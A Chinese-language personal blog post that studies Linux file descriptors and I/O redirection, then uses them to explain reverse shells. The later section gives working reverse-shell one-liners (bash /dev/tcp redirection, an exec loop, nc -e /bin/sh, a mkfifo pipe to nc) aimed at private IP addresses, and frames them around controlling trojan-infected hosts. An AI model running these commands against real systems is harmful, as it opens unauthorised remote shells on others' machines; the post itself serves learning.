MENU

Linux反弹shell学习

April 7, 2022 • Read: 653 • Web

Linux反弹shell学习

前备知识

文件描述符

  1. 从一个最常见的用法入手
    echo log > /dev/null 2>&1
>  :表示将输出结果重定向到哪里,例如:echo "123" > /home/123.txt
/dev/null :表示空设备文件

所以 echo log > /dev/null 表示把日志输出到空文件设备,也就是将打印信息丢弃掉,屏幕上什么也不显示。

1  :表示stdout标准输出
2  :表示stderr标准错误
&  :表示等同于的意思

所以 2>&1 表示2的输出重定向等同于1,也就是标准错误输出重定向到标准输出。因为前面标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

这个用法平时很常见,重点是为什么这里是用 2 和 1 ,不是3456什么的呢?这要从 Linux 中的文件描述符说起。

  1. linux文件描述符
    在Linux系统中一切皆可以看成是文件,文件又可分为:普通文件、目录文件、链接文件和设备文件。在操作这些所谓的文件的时候,我们每操作一次就找一次名字,这会耗费大量的时间和效率。所以Linux中规定每一个文件对应一个索引,这样要操作文件的时候,我们直接找到索引就可以对其进行操作了。

文件描述符(file descriptor)就是内核为了高效管理这些已经被打开的文件所创建的索引,其是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符来实现。同时还规定系统刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。这意味着如果此时去打开一个新的文件,它的文件描述符会是3,再打开一个文件文件描述符就是4…

Linux内核对所有打开的文件有一个文件描述符表格,里面存储了每个文件描述符作为索引与一个打开文件相对应的关系,简单理解就是下图这样一个数组,文件描述符(索引)就是文件描述符表这个数组的下标,数组的内容就是指向一个个打开的文件的指针。
2022-04-04-14-39-12.png

重点!
一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

重定向

Linux 中标准的输入设备默认指的是键盘,标准的输出设备默认指的是显示器。而本节所要介绍的输入、输出重定向,完全可以从字面意思去理解,也就是:

  • 输入重定向:指的是重新指定设备来代替键盘作为新的输入设备;
  • 输出重定向:指的是重新指定设备来代替显示器作为新的输出设备。

例子:bc命令是用来数学计算的命令
使用echo 将1+1 输出重定向到file文件中,
然后file作为输入设备输入到bc中
2022-04-04-15-49-12.png

个人小理解,如下图
2022-04-04-16-14-03.png
本来是从键盘中输入放到file2中,但是这里<file把标准输入设备指向了file,然后file2从file这个新的标准输入设备读取出数据并写入到file2中
2022-04-04-16-17-48.png

标准输出与标准错误输出重定向
格式: &> word ; >& word
2022-04-04-16-20-01.png

文件描述符的复制:
格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)
这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开。简单的说就是n描述符等同于m描述符。(类似c中的变量n的指针指向了m)

重点理解:(顺序相关)

cmd 2>&1 >file

  1. 首先解析器解析到 2>&1。该条语句就是标准错误输出2等同于标准输出1。错误输出将会和标准输出输出到同一个地方。然后因为标准输出此时指向的是stdout1(即屏幕),因此会立即输入错误信息到屏幕上
    2022-04-04-16-30-22.png
  2. 解析器再向后解析到 “>”,此时标准输出设备指向file,但因为cmd是错误的命令,所以相当于标准输出设备没有任何东西,所以当指向file之后也是空的
    2022-04-04-16-37-46.png

2022-04-04-16-33-34.png
2022-04-04-17-07-16.png

若是
cmd >file 2>&1则顺序是,标准输出到file中,但标准输出没有东西。所以此时file并没有报错信息。接着,错误输出2指向标准输出,标准输出1又指向file。最终错误输出会输出到file中
正确的命令->file,错误的命令->屏幕->file
说人话,解释就是这条命令会将正确和错误的命令都输出到file中

也可以参考该博客,使用c语言指针的描述来解释重定向:https://blog.csdn.net/xyz_dream/article/details/89547687
https://www.cnblogs.com/sueyyyy/p/13187990.html

重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

(1)输入重定向 <(覆盖) <<(追加)
(2)输出重定向 >(覆盖) >>(追加)

重点:
1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),然后在把重定向去掉,执行指令

2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)

3.< 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向

exec 绑定重定向

[root@sccprocddev02:/home/upro01]$ exec 6>&1
#将标准输出与fd 6绑定
  
[root@sccprocddev02:/home/upro01]$ ls  /proc/self/fd/
0  1  2  3  6
#出现文件描述符6
  
[root@sccprocddev02:/home/upro01]$ exec 1>6.txt
#将接下来所有命令标准输出,绑定到6.txt文件(输出到该文件)
  
[root@sccprocddev02:/home/upro01]$ ls -al
#执行命令,发现什么都不返回了,因为标准输出已经输出到6.txt文件了
  
[root@sccprocddev02:/home/upro01]$ exec 1>&6
#恢复标准输出
  
[root@sccprocddev02:/home/upro01]$ exec 6>&-
#关闭fd 6描述符
  
[root@centos5 ~]$ ls /proc/self/fd/
0  1  2  3

反弹shell

定义

reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

使用场景

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

ncat工具使用

nc 的版本非常乱,有很多版本,他们分别由不同的作者编写。
这里统一使用ncat ,是nmap作者写的,功能差不多。

-l 监听模式,相当于构建一个简单的互相通信的隧道

2022-04-04-20-54-12.png

-e:将传入的信息以命令执行

此时 Ubutnu 输入的指令都会传入macOS 的 /bin/bash 执行成功后会返回信息,类似于ssh操作连接来 macOS 一样:
2022-04-04-21-57-32.png
2022-04-04-21-57-05.png

持久监听

-k: 客户端断掉连接时,服务端依然保持运行
-v:现实指令执行过程细节

bash反弹shell

环境检测及配置

Ubuntu的bash默认是没开启,需要重新编译安装一下bash
简单的步骤就是
http://ftp.gnu.org/gnu/bash/下载一个版本的bash
然后下载,解压进入到bash目录,

./configure --enable-net-redirections
make && make all
#备份原本bash并为新的bash创建软链接即可
mv /bin/bash /bin/bash.bak
ln -s /usr/local/bin/bash /bin/bash
#最终验证bash版本 
/bin/bash -version

然后查看当前是否为shell版本
echo $SHELL
查看全部的shell环境
cat /etc/shells
临时切换为bash
这里直接添加一个新用户永久切换
useradd -s /bin/bash test
2022-04-04-22-21-05.png

使用重定向反弹shell

bash -i >& /dev/tcp/192.168.123.1/7777 0>&1

这里分为三部分

  1. bash -i 产生一个交互式的shell
  2. >& /dev/tcp/192.168.123.1/7777 将标准输出和标准错误输出都指向到192.168.123.1:7777这个端口上,即攻击机能获取到命令输出的任何内容
  3. 0>&1 将标准输入设备指向输出设备,即把bash的输入来源放到攻击机上。
    2022-04-04-22-23-39.png

第二种姿势
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

  1. exec 5<>/dev/tcp/192.168.146.129/2333 将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 ,
  2. command|while read line do .....done 从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。
    而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。
  3. nc -e /bin/sh 192.168.146.129 2333
  4. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
  5. ``

其他反弹shell姿势:
https://cloud.tencent.com/developer/article/1818091

总结

查看了大量的文章,经过大量的命令尝试才算理解这个重定向的骚操作,归根到底这个反弹shell的本质就是利用重定向把三个默认的设备(输入,输出,错误输出)指向攻击机。还有就是这个通过/dev/tcp和/dev/udp设备文件打开TCP / UDP套接字。

参考文章:
https://www.sqlsec.com/2019/10/nc.html#toc-heading-12
https://cjiayang.github.io/2020/07/13/linux-bash%E5%8D%87%E7%BA%A7/
https://blog.csdn.net/xyz_dream/article/details/89547687
https://www.jianshu.com/p/1661b8c03edd
https://xz.aliyun.com/t/2549#toc-1
https://evilpan.com/2021/04/25/reverse-shell/

Last Modified: April 10, 2022
Leave a Comment

本站总访问量 32665 次